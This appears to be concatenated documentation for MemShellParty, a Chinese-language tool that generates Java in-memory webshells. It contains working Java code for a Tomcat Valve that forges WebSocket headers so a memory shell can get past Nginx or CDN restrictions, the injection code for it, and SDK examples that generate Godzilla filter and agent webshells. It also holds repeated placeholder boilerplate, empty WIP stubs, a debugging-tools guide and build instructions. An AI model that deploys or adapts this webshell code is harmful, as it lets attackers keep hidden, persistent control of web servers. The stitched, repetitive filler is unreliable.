## 绕过 Nginx 或 CDN 限制 [#绕过-nginx-或-cdn-限制]

由于在 Tomcat 中实现 WebSocket 使用的是 Upgrade 协议，因此需要 `Upgrade: websocket` 和 `Connection: upgrade` 来将请求转为 WebSocket 连接，Nginx 或 CDN 默认情况下根本不会转发这些头部，甚至会设置 `Connection: close` 导致无法连接到 WebSocket 内存马。以下是尝试在 Nginx 的情况下连接 WebSocket 所能拿到的请求头部：

```txt
host = 127.0.0.1
x-real-ip = 192.168.97.1
x-forwarded-for = 192.168.97.1
x-forwarded-proto = http
connection = close
sec-websocket-version = 13
sec-websocket-key = 4yY8pZQPUv6RlRoPgh7SaA==
sec-websocket-extensions = permessage-deflate; client_max_window_bits
```

在实现细节上，Tomcat 默认会注册一个名为 `org.apache.tomcat.websocket.server.WsFilter` 的 Filter，用于将 HTTP 请求升级为 WebSocket 协议。

首先会在 `UpgradeUtil.isWebSocketUpgradeRequest` 判断请求头里面有没有 `Upgrade: websocket` 以及是不是 GET 请求。
其次在 `UpgradeUtil.doUpgrade` 方法中会检查 `Connection: upgrade` 以及 `Sec-WebSocket-Version: 13`，如果没有这些头部就会直接返回 400 或 426 错误码。

```java
public class WsFilter implements Filter {
    private WsServerContainer sc;

    public void init(FilterConfig filterConfig) throws ServletException {
        this.sc = (WsServerContainer)filterConfig.getServletContext().getAttribute("javax.websocket.server.ServerContainer");
    }

    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        if (this.sc.areEndpointsRegistered()
                && UpgradeUtil.isWebSocketUpgradeRequest(request, response)) {
            HttpServletRequest req = (HttpServletRequest)request;
            HttpServletResponse resp = (HttpServletResponse)response;
            String pathInfo = ...; // 获取请求路径
            WsMappingResult mappingResult = this.sc.findMapping(path);
            if (mappingResult != null) {
                UpgradeUtil.doUpgrade(this.sc, req, resp, mappingResult.getConfig(), mappingResult.getPathParams());
            }
        }
        chain.doFilter(request, response);
    }
}
```

```java
public class UpgradeUtil {

    public static boolean isWebSocketUpgradeRequest(ServletRequest request, ServletResponse response) {
        return request instanceof HttpServletRequest
                && response instanceof HttpServletResponse
                && headerContainsToken((HttpServletRequest)request, "Upgrade", "websocket")  // [!code highlight]
                && "GET".equals(((HttpServletRequest)request).getMethod());
    }

    public static void doUpgrade(WsServerContainer sc, HttpServletRequest req, HttpServletResponse resp, ServerEndpointConfig sec, Map<String, String> pathParams) throws ServletException, IOException {
        String subProtocol = null;
        if (!headerContainsToken(req, "Connection", "upgrade")) { // [!code highlight]
            resp.sendError(400);
        } else if (!headerContainsToken(req, "Sec-WebSocket-Version", "13")) { // [!code highlight]
            resp.setStatus(426);
            resp.setHeader("Sec-WebSocket-Version", "13");
        }
        // ...
    }
}
```

结合上面通过 Nginx 转发到 Tomcat 的请求头，可以看到缺失的就是 `Upgrade: websocket` 和 `Connection: upgrade` 这两个请求头，导致请求无法进入 WsFilter 的逻辑从而连接失败。因此我们需要创建一个类似 WsFilter 的组件来补充缺失的请求头。考虑到 Filter 和 Valve 的注入代码量，这里选择了更轻量化的 Valve 组件：

```java
public class TomcatWsBypassValve implements Valve {
    public static String headerName;
    public static String headerValue;

    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {
        try {
            // 因为 Valve 所有请求都会经过，所以需要判断特定流量来防止对业务产生过大的影响
            if (request.getHeader(headerName) != null
                    && request.getHeader(headerName).contains(headerValue)) {
                String pathInfo = request.getPathInfo();
                String path;
                if (pathInfo == null) {
                    path = request.getServletPath();
                } else {
                    path = request.getServletPath() + pathInfo;
                }
                Object sc = request.getServletContext().getAttribute("javax.websocket.server.ServerContainer");
                if (sc == null) {
                    sc = request.getServletContext().getAttribute("jakarta.websocket.server.ServerContainer");
                }
                if (sc == null) {
                    throw new ServletException("Server container not found");
                }
                addHeader(request, "Connection", "upgrade");
                addHeader(request, "Upgrade", "websocket");
                Object mappingResult = sc.getClass().getMethod("findMapping", String.class).invoke(sc, path);
                Class<?> upgradeUtil = Class.forName("org.apache.tomcat.websocket.server.UpgradeUtil");
                for (Method method : upgradeUtil.getMethods()) {
                    if ("doUpgrade".equals(method.getName())) {
                        method.invoke(null, sc, request, response, getFieldValue(mappingResult, "config"), getFieldValue(mappingResult, "pathParams"));
                    }
                }
                return;
            }
        } catch (Throwable e) {
            e.printStackTrace();
        }
        this.getNext().invoke(request, response);
    }

    private void addHeader(Request request, String key, String value) {
        try {
            Field coyoteRequestField = request.getClass().getDeclaredField("coyoteRequest");
            coyoteRequestField.setAccessible(true);
            Object coyoteRequest = coyoteRequestField.get(request);
            Method getMimeHeadersMethod = coyoteRequest.getClass().getMethod("getMimeHeaders");
            Object mimeHeaders = getMimeHeadersMethod.invoke(coyoteRequest);
            Method addValueMethod = mimeHeaders.getClass().getMethod("addValue", String.class);
            Object messageBytes = addValueMethod.invoke(mimeHeaders, key);
            Method setStringMethod = messageBytes.getClass().getMethod("setString", String.class);
            setStringMethod.invoke(messageBytes, value);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private Object getFieldValue(Object obj, String fieldName) throws Exception {
        Field declaredField = obj.getClass().getDeclaredField(fieldName);
        declaredField.setAccessible(true);
        return declaredField.get(obj);
    }

    //...
}
```

因此我们注入能够绕过 Nginx 或 CDN 限制的 WebSocket 内存马，只需要在注入 WebSocket 内存马的基础上额外注入一个 Valve 内存马。

```java
private void inject(Object context, Object obj) throws Exception {
    Object servletContext = invokeMethod(context, "getServletContext", null, null);
    Object container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"});
    if (container == null) {
        container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"jakarta.websocket.server.ServerContainer"});
    }

    if (container == null) {
        throw new RuntimeException("container is null");
    }

    if (invokeMethod(container, "findMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) {
        return;
    }

    Object valve = defineShell(context.getClass().getClassLoader(), getHelperBase64String()).newInstance(); // [!code ++]
    Object pipeline = invokeMethod(context, "getPipeline", null, null); // [!code ++]
    Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve"); // [!code ++]
    invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); // [!code ++]

    ClassLoader contextClassLoader = context.getClass().getClassLoader();
    Class<?> serverEndpointConfigClass;
    Class<?> builderClass;
    try {
        serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig");
        builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder");
    } catch (ClassNotFoundException e) {
        serverEndpointConfigClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig");
        builderClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig$Builder");
    }
    Constructor<?> constructor = builderClass.getDeclaredConstructor(Class.class, String.class);
    constructor.setAccessible(true);
    Object o1 = constructor.newInstance(obj.getClass(), getUrlPattern());
    Object endpointConfig = invokeMethod(o1, "build", null, null);

    invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
    invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
    invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
}
```

## 相关文档 [#相关文档]

* [Command 内存马使用教程](/docs/shelltool/command) - 了解如何生成和使用 WebSocket 命令执行内存马


# 介绍 (/docs/packer)



打包


# Hello World (/docs/probeshell/type)



Hey there! Fumadocs is the docs framework that also works on React Router!

## Heading [#heading]

Hello World

<Cards>
  <Card title="Learn more about React Router" href="https://reactrouter.com" />

  <Card title="Learn more about Fumadocs" href="https://fumadocs.dev" />
</Cards>

```ts
console.log("I love React!");
```

### Heading [#heading-1]

#### Heading [#heading-2]

| Head                            | Description                         |
| ------------------------------- | ----------------------------------- |
| `hello`                         | Hello World                         |
| very **important**              | Hey                                 |
| *Surprisingly*                  | Fumadocs                            |
| very long text that looks weird | hello world hello world hello world |

Hey there! Fumadocs is the docs framework that also works on React Router!

## Heading [#heading-3]

Hello World

<Cards>
  <Card title="Learn more about React Router" href="https://reactrouter.com" />

  <Card title="Learn more about Fumadocs" href="https://fumadocs.dev" />
</Cards>

```ts
console.log("I love React!");
```

### Heading [#heading-4]

#### Heading [#heading-5]

| Head                            | Description                         |
| ------------------------------- | ----------------------------------- |
| `hello`                         | Hello World                         |
| very **important**              | Hey                                 |
| *Surprisingly*                  | Fumadocs                            |
| very long text that looks weird | hello world hello world hello world |

Hey there! Fumadocs is the docs framework that also works on React Router!

## Heading [#heading-6]

Hello World

<Cards>
  <Card title="Learn more about React Router" href="https://reactrouter.com" />

  <Card title="Learn more about Fumadocs" href="https://fumadocs.dev" />
</Cards>

```ts
console.log("I love React!");
```

### Heading [#heading-7]

#### Heading [#heading-8]

| Head                            | Description                         |
| ------------------------------- | ----------------------------------- |
| `hello`                         | Hello World                         |
| very **important**              | Hey                                 |
| *Surprisingly*                  | Fumadocs                            |
| very long text that looks weird | hello world hello world hello world |

Hey there! Fumadocs is the docs framework that also works on React Router!

## Heading [#heading-9]

Hello World

<Cards>
  <Card title="Learn more about React Router" href="https://reactrouter.com" />

  <Card title="Learn more about Fumadocs" href="https://fumadocs.dev" />
</Cards>

```ts
console.log("I love React!");
```

### Heading [#heading-10]

#### Heading [#heading-11]

| Head                            | Description                         |
| ------------------------------- | ----------------------------------- |
| `hello`                         | Hello World                         |
| very **important**              | Hey                                 |
| *Surprisingly*                  | Fumadocs                            |
| very long text that looks weird | hello world hello world hello world |

Hey there! Fumadocs is the docs framework that also works on React Router!

## Heading [#heading-12]

Hello World

<Cards>
  <Card title="Learn more about React Router" href="https://reactrouter.com" />

  <Card title="Learn more about Fumadocs" href="https://fumadocs.dev" />
</Cards>

```ts
console.log("I love React!");
```

### Heading [#heading-13]

#### Heading [#heading-14]

| Head                            | Description                         |
| ------------------------------- | ----------------------------------- |
| `hello`                         | Hello World                         |
| very **important**              | Hey                                 |
| *Surprisingly*                  | Fumadocs                            |
| very long text that looks weird | hello world hello world hello world |

Hey there! Fumadocs is the docs framework that also works on React Router!

## Heading [#heading-15]

Hello World

<Cards>
  <Card title="Learn more about React Router" href="https://reactrouter.com" />

  <Card title="Learn more about Fumadocs" href="https://fumadocs.dev" />
</Cards>

```ts
console.log("I love React!");
```

### Heading [#heading-16]

#### Heading [#heading-17]

| Head                            | Description                         |
| ------------------------------- | ----------------------------------- |
| `hello`                         | Hello World                         |
| very **important**              | Hey                                 |
| *Surprisingly*                  | Fumadocs                            |
| very long text that looks weird | hello world hello world hello world |

Hey there! Fumadocs is the docs framework that also works on React Router!

## Heading [#heading-18]

Hello World

<Cards>
  <Card title="Learn more about React Router" href="https://reactrouter.com" />

  <Card title="Learn more about Fumadocs" href="https://fumadocs.dev" />
</Cards>

```ts
console.log("I love React!");
```

### Heading [#heading-19]

#### Heading [#heading-20]

| Head                            | Description                         |
| ------------------------------- | ----------------------------------- |
| `hello`                         | Hello World                         |
| very **important**              | Hey                                 |
| *Surprisingly*                  | Fumadocs                            |
| very long text that looks weird | hello world hello world hello world |

Hey there! Fumadocs is the docs framework that also works on React Router!

## Heading [#heading-21]

Hello World

<Cards>
  <Card title="Learn more about React Router" href="https://reactrouter.com" />

  <Card title="Learn more about Fumadocs" href="https://fumadocs.dev" />
</Cards>

```ts
console.log("I love React!");
```

### Heading [#heading-22]

#### Heading [#heading-23]

| Head                            | Description                         |
| ------------------------------- | ----------------------------------- |
| `hello`                         | Hello World                         |
| very **important**              | Hey                                 |
| *Surprisingly*                  | Fumadocs                            |
| very long text that looks weird | hello world hello world hello world |

Hey there! Fumadocs is the docs framework that also works on React Router!

## Heading [#heading-24]

Hello World

<Cards>
  <Card title="Learn more about React Router" href="https://reactrouter.com" />

  <Card title="Learn more about Fumadocs" href="https://fumadocs.dev" />
</Cards>

```ts
console.log("I love React!");
```

### Heading [#heading-25]

#### Heading [#heading-26]

| Head                            | Description                         |
| ------------------------------- | ----------------------------------- |
| `hello`                         | Hello World                         |
| very **important**              | Hey                                 |
| *Surprisingly*                  | Fumadocs                            |
| very long text that looks weird | hello world hello world hello world |

Hey there! Fumadocs is the docs framework that also works on React Router!

## Heading [#heading-27]

Hello World

<Cards>
  <Card title="Learn more about React Router" href="https://reactrouter.com" />

  <Card title="Learn more about Fumadocs" href="https://fumadocs.dev" />
</Cards>

```ts
console.log("I love React!");
```

### Heading [#heading-28]

#### Heading [#heading-29]

| Head                            | Description                         |
| ------------------------------- | ----------------------------------- |
| `hello`                         | Hello World                         |
| very **important**              | Hey                                 |
| *Surprisingly*                  | Fumadocs                            |
| very long text that looks weird | hello world hello world hello world |

Hey there! Fumadocs is the docs framework that also works on React Router!

## Heading [#heading-30]

Hello World

<Cards>
  <Card title="Learn more about React Router" href="https://reactrouter.com" />

  <Card title="Learn more about Fumadocs" href="https://fumadocs.dev" />
</Cards>

```ts
console.log("I love React!");
```

### Heading [#heading-31]

#### Heading [#heading-32]

| Head                            | Description                         |
| ------------------------------- | ----------------------------------- |
| `hello`                         | Hello World                         |
| very **important**              | Hey                                 |
| *Surprisingly*                  | Fumadocs                            |
| very long text that looks weird | hello world hello world hello world |


# 核心配置项 (/docs/probeshell-core-config)



WIP


# 工具推荐 (/docs/recommend-tools)

















## Arthas [#arthas]

Arthas 是阿里云开源的 Java 诊断工具，其本质是一个 Java Agent，它提供了各种各样的命令，能让我们洞察 JVM 各种细节信息。所有的使用姿势 [官方文档](https://arthas.aliyun.com/) 都有，以下会列举一些常见的场景和问题

JDK8 以上的下载链接：[https://arthas.aliyun.com/doc/download.html](https://arthas.aliyun.com/doc/download.html)

JDK6/7 下载链接：[https://arthas.aliyun.com/3.x/doc/download.html](https://arthas.aliyun.com/3.x/doc/download.html)

### 启动 Arthas [#启动-arthas]

直接输入 `java -jar arthas-boot.jar` 启动，回车之后会弹出选项，输入数字选择需要调试的 Java 进程。

```bash
❯ java -jar arthas-boot.jar
[INFO] JAVA_HOME: /Users/reajason/.sdkman/candidates/java/21.0.5-oracle
[INFO] arthas-boot version: 4.0.5
[INFO] Found existing java process, please choose one and input the serial number of the process, eg : 1. Then hit ENTER.
* [1]: 83922 /Users/reajason/.vscode/extensions/sonarsource.sonarlint-vscode-4.19.0-darwin-arm64/server/sonarlint-ls.jar
  [2]: 86557 com.intellij.idea.Main
```

有时候可能没有 jps 命令或者不是 HotSpot JVM 会找不到 Java 进程，此时你需要通过 `ps` 找到你需要调试的 Java 进程 PID，并使用 `java -jar arthas-boot.jar <pid>` 启动。

```bash
root@df393b860ae3:/opt/arthas# java -jar arthas-boot.jar
[INFO] JAVA_HOME: /opt/java/openjdk
[INFO] arthas-boot version: 4.0.5
[INFO] Can not find java process. Try to run `jps` command lists the instrumented Java HotSpot VMs on the target system.
Please select an available pid.
```

arthas-boot 依赖 JDK 环境需要 tools.jar 才能启动，在 JRE 环境会歇菜。

```bash
root@df393b860ae3:/opt/arthas# ps -ef | grep java
root           1       0  3 14:19 ?        00:00:01 /opt/java/openjdk/bin/java -Djava.util.logging.config.file=/usr/local/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/usr/local/tomcat -Dcatalina.home=/usr/local/tomcat -Djava.io.tmpdir=/usr/local/tomcat/temp org.apache.catalina.startup.Bootstrap start
root          87      50  0 14:20 pts/0    00:00:00 grep --color=auto java
root@df393b860ae3:/opt/arthas# java -jar arthas-boot.jar 1
[INFO] JAVA_HOME: /opt/java/openjdk
[INFO] arthas-boot version: 4.0.5
[INFO] arthas home: /opt/arthas
[INFO] Try to attach process 1
Exception in thread "main" java.lang.IllegalArgumentException: Can not find tools.jar under java home: /opt/java/openjdk, please try to start arthas-boot with full path java. Such as /opt/jdk/bin/java -jar arthas-boot.jar
        at com.taobao.arthas.boot.ProcessUtils.findJavaHome(ProcessUtils.java:222)
        at com.taobao.arthas.boot.ProcessUtils.startArthasCore(ProcessUtils.java:233)
        at com.taobao.arthas.boot.Bootstrap.main(Bootstrap.java:590)
```

前面说了 Arthas 本质就是 Java Agent，因此使用 [jattach](https://github.com/jattach/jattach/releases/latest) 工具将其注入，再尝试连接即可。

TIP1: &#x2A;*注入的是 `/opt/arthas/arthas-agent.jar`**
TIP2: &#x2A;*启动仍然用的 `arthas-boot.jar`**

```bash
root@df393b860ae3:/opt/arthas# ./jattach-linux 1 load instrument false /opt/arthas/arthas-agent.jar
Connected to remote JVM
JVM response code = 0
0

root@df393b860ae3:/opt/arthas# java -jar arthas-boot.jar 1
[INFO] JAVA_HOME: /opt/java/openjdk
[INFO] arthas-boot version: 4.0.5
[INFO] arthas home: /opt/arthas
[INFO] The target process already listen port 3658, skip attach.
[INFO] arthas-client connect 127.0.0.1 3658
  ,---.  ,------. ,--------.,--.  ,--.  ,---.   ,---.
 /  O  \ |  .--. ''--.  .--'|  '--'  | /  O  \ '   .-'
|  .-.  ||  '--'.'   |  |   |  .--.  ||  .-.  |`.  `-.
|  | |  ||  |\  \    |  |   |  |  |  ||  | |  |.-'    |
`--' `--'`--' '--'   `--'   `--'  `--'`--' `--'`-----'

wiki        https://arthas.aliyun.com/doc
tutorials   https://arthas.aliyun.com/doc/arthas-tutorials.html
version     4.0.5
main_class  org.apache.catalina.startup.Bootstrap start
pid         1
start_time  2025-04-09 14:19:48.004
currnt_time 2025-04-09 14:23:16.044

[arthas@1]$
```

当看到大片上述输出，且命令提示符变成 `[arthas@1]$` 你就成功进入 Arthas 了，接下来让我们看看有哪些好用的命令吧。

### jad [#jad]

> [官方文档/jad.html](https://arthas.aliyun.com/doc/jad.html)

jad 命令是用来查看反编译后的类源码。除了源码信息，还能查看是哪一个 classloader 加载的当前类，以及 classloader 的继承关系，还能看到当前类存在在哪个 jar 文件中（如果有的话），拖到 IDEA 里面就能进行调试啦。

* `jad org.apache.lESNa.EncryptionUtil`，查看类源码完整信息。
* `jad org.apache.catalina.core.ApplicationFilterChain doFilter`，仅查看 doFilter 方法的源码。

<img alt="arthas_jad1" src="__img0" />

<img alt="arthas_jad2" src="__img1" />

如果回车之后显示找不到类的话，可能拼写错误，或类还没有被加载到 JVM 中，可以先尝试访问类依赖的业务路径，触发类加载之后再进行 jad。

### classloader [#classloader]

> [官方文档/classloader.html](https://arthas.aliyun.com/doc/classloader.html)

classloader 用来查看类加载器信息。

* `classloader` 查看当前有哪些类加载器，以及其类加载情况
* `classloader -t` 查看类加载器继承关系
* `classloader -c <hash>` 指定类加载实例 hash 查看其 urls

<img alt="arhtas_classloader" src="__img2" />

此处的分析将会在 Java 基础中提及，有些 ClassNotFoundException 或 ClassCastException 可以通过此种方式找到问题所在。

### sc [#sc]

> [官方文档/sc.html](https://arthas.aliyun.com/doc/sc.html)

sc 即 search-class，用来查找 JVM 中的类信息。常用的一种方式是查看 interface 的所有实现类。

* `sc javax.servlet.Servlet`，查看 Servlet 实现类有哪些
* `sc javax.servlet.ServletContext`，查看 ServletContext 实现类有哪些
* `sc -d org.apache.catalina.core.ApplicationContext`，查看类的详细信息，这样我们能定位到 jar 拖出来进行反编译分析。

<img alt="arthas_sc" src="__img3" />

### stop [#stop]

执行 stop 退出当前 Arthas 命令行环境，回到 Unix shell。

```
[arthas@1]$ stop
Resetting all enhanced classes ...
Affect(class count: 0 , method count: 0) cost in 2 ms, listenerId: 0
Arthas Server is going to shutdown...
[arthas@1]$ session (c5ee97b5-6809-48ab-bdfc-09d900087ec9) is closed because server is going to shutdown.
```

## Jadx [#jadx]

> [skylot/jadx](https://github.com/skylot/jadx)

目前 Java 最强反编译器，人手一个，几乎可以反编译任何 jar 包，部分究极混淆的类，即使无法反编译成功，也可查看字节码。

打开之后，可以直接将 class 或 jar 拖入到左边框中就会自动进行反编译，点击 Source Code 里面就能看到反编译的结果，最下面可以选 Code、Smali 等等，一般 Code 里面反编译失败才需要切换，其他功能可查看 [记录 Rainbow Brackets 插件破解](https://reajason.eu.org/writing/rainbowbracketscracked/) 了解一下常用的操作。

<img alt="jadx_interface" src="__img4" />

## File Expander — IDEA 插件 [#file-expander--idea-插件]

IDEA 自带反编译功能，并且使用习惯之后也是相当好用。但是有一个问题，如果 jar 包中套 jar 包，那么里面的 jar 包并不会默认展开，自然想到的办法就是解压 一次 jar，把里面的东西弄出来，但是有了 File Expander 插件之后，无论是 zip 还是 jar in jar，都轻松查看了。

<img alt="idea_plugins" src="__img5" />

下图演示了 java-chains-1.4.0.jar，直接可以 expand 到 chains-core，开学！！！，这种情况下不比 jadx 要好用。

<img alt="idea_javachains" src="__img6" />

## Find 命令 [#find-命令]

在批量查找当前目录下某个类存在于那个 jar 文件中，需要使用到 find 命令协助，由于需要用到 jar 命令，因此依赖 JDK 环境。JRE 环境下，可以将文件打包发送到 JDK 环境再继续研究。

在 tomcat 目录下，找到 ApplicationContext 在哪个 jar 文件中。

```bash
░▒▓ ~/workspace/apache-tomcat-8.5.96
❯ find . -name "*.jar" -type f -exec sh -c 'jar tvf "{}" | grep -q "org/apache/catalina/core/ApplicationContext" && echo "Found in: {}"' \;
Found in: ./lib/catalina.jar
```

部分环境下，例如 WAS 可能并没有设置 Java Home，此时 jar 命令使用绝对路径即可。

```bash
[was@59385194e5aa AppServer]$ find . -name "*.jar" -type f -exec sh -c '/opt/IBM/WebSphere/AppServer/java/bin/jar tvf "{}" | grep -q "com/ibm/ws/webcontainer/webapp/WebApp" && echo "Found in: {}"' \;
Found in: ./plugins/com.ibm.ws.webcontainer.jar
```


# Apusic (/docs/resbody/apusic)



WIP


# GlassFish (/docs/resbody/glassfish)



WIP


# Jetty (/docs/resbody/jetty)



WIP


# Resin (/docs/resbody/resin)



WIP


# SpringWebMVC (/docs/resbody/springwebmvc)



WIP


# Struts2 (/docs/resbody/struts2)



WIP


# Tomcat (/docs/resbody/tomcat)



WIP


# TongWeb (/docs/resbody/tongweb)



WIP


# Undertow (/docs/resbody/undertow)



WIP


# WebLogic (/docs/resbody/weblogic)



WIP


# WebSphere (/docs/resbody/websphere)



WIP


# SDK 集成 (/docs/sdk)





> 具体代码可参考 [examples](https://github.com/ReaJason/MemShellParty/tree/master/examples)

### 添加依赖 [#添加依赖]

1. 如果仅需要生成内存马 Base64 格式，仅添加 generator 模块即可

<Tabs items="[&#x22;Maven&#x22;, &#x22;Gradle&#x22;]">
  <Tab>
    ```xml
    <dependency>
      <groupId>io.github.reajason</groupId>
      <artifactId>generator</artifactId>
      <version>2.2.0</version>
    </dependency>
    ```
  </Tab>

  <Tab>
    `groovy implementation 'io.github.reajason:generator:2.2.0' `
  </Tab>
</Tabs>

2. 如果需要使用自带的丰富打包方式，需要额外添加 packer 模块

<Tabs items="[&#x22;Maven&#x22;, &#x22;Gradle&#x22;]">
  <Tab>
    ```xml
    <dependency>
      <groupId>io.github.reajason</groupId>
      <artifactId>generator</artifactId>
      <version>2.2.0</version>
    </dependency>
    <dependency>
      <groupId>io.github.reajason</groupId>
      <artifactId>packer</artifactId>
      <version>2.2.0</version>
    </dependency>
    ```
  </Tab>

  <Tab>
    ```groovy
    implementation 'io.github.reajason:generator:2.2.0'
    implementation 'io.github.reajason:packer:2.2.0'
    ```
  </Tab>
</Tabs>

### 生成 Tomcat Godzilla Filter 内存马示例 [#生成-tomcat-godzilla-filter-内存马示例]

```java
ShellConfig shellConfig = ShellConfig.builder()
        .server(Server.Tomcat)
        .shellTool(ShellTool.Godzilla)
        .shellType(ShellType.FILTER)
        .shrink(true) // 缩小字节码
        .debug(false) // 关闭调试
        .build();

InjectorConfig injectorConfig = InjectorConfig.builder()
//                .urlPattern("/*")  // 自定义 urlPattern，默认就是 /*
//                .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名，默认为空时随机生成
//                .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名，默认为空时随机生成
        .build();

GodzillaConfig godzillaConfig = GodzillaConfig.builder()
//                .pass("pass")
//                .key("key")
//                .headerName("User-Agent")
//                .headerValue("test")
        .build();

GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);

System.out.println("注入器类名："+result.getInjectorClassName());
System.out.println("内存马类名："+result.getShellClassName());

System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());

System.out.println("Base64 打包："+Packers.Base64.getInstance().pack(result));
System.out.println("脚本引擎打包："+Packers.ScriptEngine.getInstance().pack(result));
```

### 生成 Tomcat Godzilla AgentFilterChain 示例 [#生成-tomcat-godzilla-agentfilterchain-示例]

```java
ShellConfig shellConfig = ShellConfig.builder()
        .server(Server.Tomcat)
        .shellTool(ShellTool.Godzilla)
        .shellType(ShellType.AGENT_FILTER_CHAIN)
        .shrink(true) // 缩小字节码
        .debug(false) // 关闭调试
        .build();

InjectorConfig injectorConfig = InjectorConfig.builder()
//                .urlPattern("/*")  // 自定义 urlPattern，默认就是 /*
//                .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名，默认为空时随机生成
//                .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名，默认为空时随机生成
        .build();

GodzillaConfig godzillaConfig = GodzillaConfig.builder()
//                .pass("pass")
//                .key("key")
//                .headerName("User-Agent")
//                .headerValue("test")
        .build();

GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);

System.out.println("注入器类名：" + result.getInjectorClassName());
System.out.println("内存马类名：" + result.getShellClassName());

System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());

byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
Files.write(Paths.get("agent.jar"), agentJarBytes);
```

**封装统一生成接口可参考 [MemShellGeneratorController.java](https://github.com/ReaJason/MemShellParty/blob/master/boot/src/main/java/com/reajason/javaweb/boot/controller/MemShellGeneratorController.java)**


# 编译打包 (/docs/self-build)



### 源代码构建 [#源代码构建]

> 适合想编写代码的小伙伴，使用 Git Clone 下载到本地，并构建前后端项目以供使用

首先需要下载 [bun](https://bun.sh/)，这是一款用于构建前端服务的工具。

1. 使用 Git Clone 项目

```bash
git clone https://github.com/ReaJason/MemShellParty.git
```

2. 构建前端项目，build 结束会将静态资源自动移动到 Spring Boot 中以供使用

```bash
cd MemShellParty/web

bun install

bun run build
```

3. 构建后端项目，确保使用 JDK17 环境

```bash
cd MemShellParty

./gradlew :boot:bootjar -x test
```

构建完之后，可直接启动 jar 包，jar 包位于 `MemShellParty/boot/build/libs/boot-2.0.0.jar`

```bash
cd MemShellParty/boot

java -jar \
     --add-opens=java.base/java.util=ALL-UNNAMED \
     --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
     --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
     build/libs/boot-2.0.0.jar
```

也可这基础上再继续构建容器来使用

```bash
cd MemShellParty/boot

docker buildx build -t memshell-party:latest . --load

docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
```

### Dockerfile 一键构建 [#dockerfile-一键构建]

> 适合于希望构建自定义访问路径的小伙伴，例如 NGINX 反代的场景（[#44](https://github.com/ReaJason/MemShellParty/issues/44)）

下载项目根目录的 [Dockerfile](https://github.com/ReaJason/MemShellParty/blob/master/Dockerfile)

* ROUTE\_ROOT\_PATH: 前端根路由配置
* CONTEXT\_PATH: 后端访问前缀

```bash
# 基础构建
docker buildx build \
    -t memshell-party:latest . --load

# 基础镜像启动，访问 127.0.0.1:8080
docker run -it -d -p 8080:8080 memshell-party:latest

# 自定义访问路径构建
docker buildx build \
    --build-arg ROUTE_ROOT_PATH=/memshell-party \
    --build-arg CONTEXT_PATH=/memshell-party \
    -t memshell-party:latest . --load

# 自定义路径构建镜像启动，访问 127.0.0.1:8080/memshell-party
docker run -it -p 8080:8080 \
    -e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
    memshell-party:latest
```

如果需要使用 NGINX 反代，请先使用自定义访问路径构建容器，并配置 NGINX 如下：

其中 `location /memshell-party`、`ROUTE_ROOT_PATH=/memshell-party`、`CONTEXT_PATH=/memshell-party` 和
`BOOT_OPTS=--server.servlet.context-path=/memshell-party` 都要一致才行。

```text
location /memshell-party {
  proxy_pass http://127.0.0.1:8080;
  proxy_set_header Host $http_host;
  proxy_set_header X-Forwarded-By $server_addr:$server_port;
  proxy_set_header X-Forwarded-For $remote_addr;
  proxy_http_version 1.1;
  proxy_connect_timeout 3s;
  proxy_read_timeout 300s;
  proxy_send_timeout 300s;
  proxy_buffer_size 16k;
  proxy_buffers 8 64k;
  proxy_busy_buffers_size 128k;
}
```


# 本地部署 (/docs/self-host)





## Docker 部署 [#docker-部署]

> 适合内网或本地快速部署，直接使用 Docker 启动服务方便快捷

使用 docker 部署之后，使用浏览器访问：[http://127.0.0.1:8080](http://127.0.0.1:8080)

<Tabs items="[&#x22;Docker Hub 源&#x22;, &#x22;Github Container Registry 源&#x22;, &#x22;南大 Github Container Registry 镜像源&#x22;]">
  <Tab>
    ```bash
    docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
    ```
  </Tab>

  <Tab>
    ```bash
    docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest
    ```
  </Tab>

  <Tab>
    ```bash
